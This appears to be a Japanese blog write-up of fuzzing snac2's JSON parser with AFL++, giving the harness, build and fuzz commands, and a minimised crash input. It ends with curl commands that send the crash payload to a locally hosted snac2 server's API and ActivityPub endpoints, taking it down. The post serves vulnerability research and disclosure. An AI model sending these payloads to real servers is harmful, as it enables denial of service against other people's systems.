ソースコードをさらに手動で調査する代わりに、ファジングと呼ばれる手法を用いてパーサ(xs_json.h内)がクラッシュする可能性のある入力を探すことにしました。ファジングに馴染みがない方のために説明すると、本質的にはランダムに生成された入力をコードに与えてテストする方法です。最も基本的なケースでは、/dev/urandomをプログラムにパイプしてクラッシュするのを待つという、非常に原始的な形のファジングです。
しかし、より複雑なプログラムの場合、単に/dev/urandomをプログラムにパイプするだけでは非常に非効率で、クラッシュにつながるより複雑なパターンを検出するのに非常に長い時間がかかる可能性が高いです。そのため、AFL++のような専用のファジングプログラムは、有効な入力の初期コーパスを使用して新しい入力を生成し、複数の戦略を通じて突然変異を繰り返し、比較的複雑な遺伝的アルゴリズムを採用します。さらに、コンパイル時のバイナリ計装を採用することで、修正されたコンパイラのセットがAFL固有の命令を挿入し、特定の入力で到達した関数とコードパスの数をファザーに通知できます。最終的に、このアプローチによりファザーは可能な限り多くの利用可能なコードパスをテストできます。このアプローチは非常に強力で、非常に些細な入力コーパスであっても、AFL++は完全なJPEGパーサをファジングする際に薄い空気からJPEGを引き出すことができます。
snac2プロジェクトでは、ファイルとして保存されたJSONデータをパースするxs_json_load関数をファジングすることにしました(snac2が内部的にすべてのデータストリームをFILEポインタとして扱うという事実も非常に興味深いものです)。そのために、ファジングハーネスを準備する必要がありました。これは、テスト対象の関数をファザーに公開する非常にシンプルなプログラムです。AFL++の場合、argv[1]からファイルパスを読み取り、それを開いてパーサに渡し、その後結果を解放するシンプルなCプログラムが必要でした:
#include <stdio.h>
#define XS_IMPLEMENTATION
#include "xs.h"
#include "xs_json.h"
int main(int argc, char **argv) {
if(argc < 2) return 0;
FILE *f = fopen(argv[1], "r");
xs_val *root = xs_json_load(f);
if (root) {
xs_free(root);
}
fclose(f);
return 0;
}
AFLのバイナリ計装を利用するために、ラップされたCコンパイラを使用してバイナリを作成する必要がありました。snac2のソースツリー内のサブディレクトリで調査を行っていると仮定すると:
afl-clang-fast -I.. fuzz_xs_json.c -o fuzz_xs_json
その後、シンプルなテストケース({"company": "a", "year": 2024})をinputディレクトリに配置し、ファザーを起動しました:
afl-fuzz -i input -o findings -- ./fuzz_xs_json @@
数分以内に、findings/default/crashesディレクトリで最初のクラッシュが見られ始め、すぐに確認できました。検出されたいくつかのよりシンプルなケースの中に、このようなものがあります:
[
"TSo\u0 So\uF So\uFcccccc
Ag {
数分の試行錯誤の後、上記のテストケースをよりクリーンな形に簡素化しました(\u0000がクラッシュの原因であることを確認):
["", "dummy\u0000..........................AAAAAA
最終的に、これが本物のクラッシュであり、ファジングハーネスに関連するものではないことを確認するために、このペイロードを実際にローカルでホストされたsnac2サーバーでテストし、MastoAPIエンドポイントに送信しました(即座にサーバーがクラッシュ):
curl -X POST -H "Content-Type: application/json" http://localhost:8001/api/v1/WHATEVER -d '["", "dummy\u0000..........................AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
ペイロードを少し修正したところ、標準のActivityPubエンドポイントでもサーバーをクラッシュさせることができました:
curl -X POST -H "Content-Type: application/activity+json" http://localhost:8001 -d '["", "dummy\u0000.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", ""]'
0 Comments
Log in to join the conversation.No comments yet. Be the first to share your thoughts.